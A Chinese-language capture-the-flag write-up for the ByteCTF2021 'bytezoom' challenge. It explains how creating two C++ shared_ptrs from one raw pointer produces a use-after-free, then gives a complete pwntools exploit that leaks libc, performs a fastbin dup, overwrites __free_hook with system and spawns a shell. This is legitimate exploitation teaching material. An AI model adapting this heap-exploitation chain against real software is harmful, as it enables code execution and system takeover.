C++智能指针UAF漏洞

2022-01-30

ByteCTF2021 Bytezoom

Keyword：智能指针

逆向分析

打比赛时候写的文档找不到了……从头做一遍吧

C++ 逆向分析起来很头大，肯定是要靠调试来分析的

结构

1.create	--cat
			|-dog
2.show		--cat
	  		|-dog
3.manage	--1.select
			|-2.change age
			|-3.change name

结构体如下

)

如果name长度小于8，就直接存放在结构体中，否则就另外申请一个chunk存放name，name_if_short则存放name_size。

看到这个结构体，第一反应可以类型混淆。

create

大量用到了shared_ptr，他是一个类而非单纯一个指针

shared_ptr 主要的功能是，管理动态创建的对象的销毁。它的基本原理就是记录对象被引用的次数，当引用次数为 0 的时候，也就是最后一个指向某对象的共享指针析构的时候，共享指针的析构函数就把指向的内存区域释放掉。

我们只要申请同idx的chunk，原chunk就会因为引用次数变为0而被自动释放。

select

分别创建一个shared_ptr保存我们选择的cat和dog

我们写一个简单的demo，演示一下用同一个原始指针创建两个共享指针会造成什么后果

//g++ test.cpp -o test
#include <iostream>
#include <memory> 
#include <string.h>

using namespace std;

int main()
{
	int *test = new int;
    shared_ptr<int> p1(test);// create
    cout<<p1.use_count()<<endl;
    shared_ptr<int> p2(test);// select
    cout<<p1.use_count()<<endl;
    cout<<p2.use_count()<<endl;
    return 0;
}

可以看到，这两个指针的计数都是1，而且引起了double free，因为他们是独立创建的，指向同一个对象，但是计数并不互通，当程序结束时，他们各自将对象释放，造成了double free。

因此，即使我们通过create将对象释放了，select这里的共享指针仍旧指向原对象，造成了一个UAF。

change

cat可以改age，dog可以改name

思路

UAF
类型混淆

首先利用select的uaf，得到一块dog的free的chunk，然后将这个chunk用cat申请到，申请到之后我们可以通过操控dog的age来改变cat的name的addr，从而泄露libc地址

然后再利用这个uaf，造成一个fastbin dup，攻击free_hook就可以了。

刚刚拿到以为是要打vtable，但其实只考察了shared_ptr这个点，其他的就当常规C pwn打。

#! /usr/bin/python
# coding=utf-8
from pwn import *

context.log_level = 'debug'
elf_path = "./bytezoom"
libc_path = "/lib/x86_64-linux-gnu/libc.so.6"

elf = ELF(elf_path)
libc = ELF(libc_path)
#p = process(["ld.so.2",elf_path],env={"LD_PRELOAD":libc_path}) 
p = process(elf_path)
PIE = 0

def debug(addr = []): 
 debug_str = ""
 if PIE:
  text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16) 
  for i in addr:
   debug_str+='b *{}\n'.format(hex(text_base+i))
  gdb.attach(p,debug_str) 
 else:
  for i in addr:
   debug_str+='b *{}\n'.format(hex(i))
  gdb.attach(p,debug_str) 

sda = lambda x,y:p.sendlineafter(x,y)
sdl = lambda x:p.sendline(x)
rct = lambda x:p.recvuntil(x)
prt = lambda x:log.info('\x1b[01;38;5;214m' + x + '==>' + hex(eval(x)) + '\x1b[0m')

#---------------------------------------------------------------------------------------#

def menu(choice):
    rct(":\n")
    sdl(str(choice))

def create(choice,idx,name, age = 1):
    menu(1)
    rct('?\n')
    sdl(choice)
    rct(":\n")
    sdl(str(idx))
    rct(':\n')
    sdl(name)
    rct(':\n')
    sdl(str(age))

def show(choice, idx):
    menu(2)
    rct('?\n')
    sdl(choice)
    rct(':\n')
    sdl(str(idx))
    rct("name:")
    data = p.recv(6)
    return data

def select(choice,idx):
    menu(3)
    menu(1)
    rct('?\n')
    sdl(choice)
    rct(':\n')
    sdl(str(idx))
    menu(4)

def edit_name(name):
    menu(3)
    menu(3)
    rct('?\n')
    sdl('cat')
    rct(':\n')
    sdl(name)
    menu(4)

def add_age(age):
    menu(3)
    menu(2)
    rct('?\n')
    sdl('dog')
    rct('add\n')
    sdl(str(age))
    menu(4)

#----------------leak libc----------------# 
# UAF
create('dog',0,'a'*8)# victim
select('dog',0)
create('dog',0,'a'*8)

create('cat',0,'b'*8)# victim
create('cat',1,'a'*0x400)

add_age(889)
add_age(1279)

leak = u64(show('cat',0).ljust(8,b'\x00'))
libcbase = leak - 0x70 - libc.symbols['__malloc_hook']
prt('libcbase')

system = libcbase + libc.symbols["system"]
free_hook = libcbase + libc.symbols["__free_hook"]
prt('free_hook')

#-------------hijack free_hook----------#
create('cat',2,'a'*0x50)
create('cat',3,'a'*0x50)
create('cat',2,'a'*0x30)# split the 0x50 chunk into 0x20 & 0x30
create('cat',3,'a'*0x30)

add_age(160)
select('cat',0)
edit_name(p64(free_hook))

# malloc free_hook
create('cat',4,"/bin/sh\x00"*(0x50//8))
create('cat',5,p64(system)*(0x50//8))

# trigger free_hook
create('cat',4,"/bin/sh\x00")

p.interactive()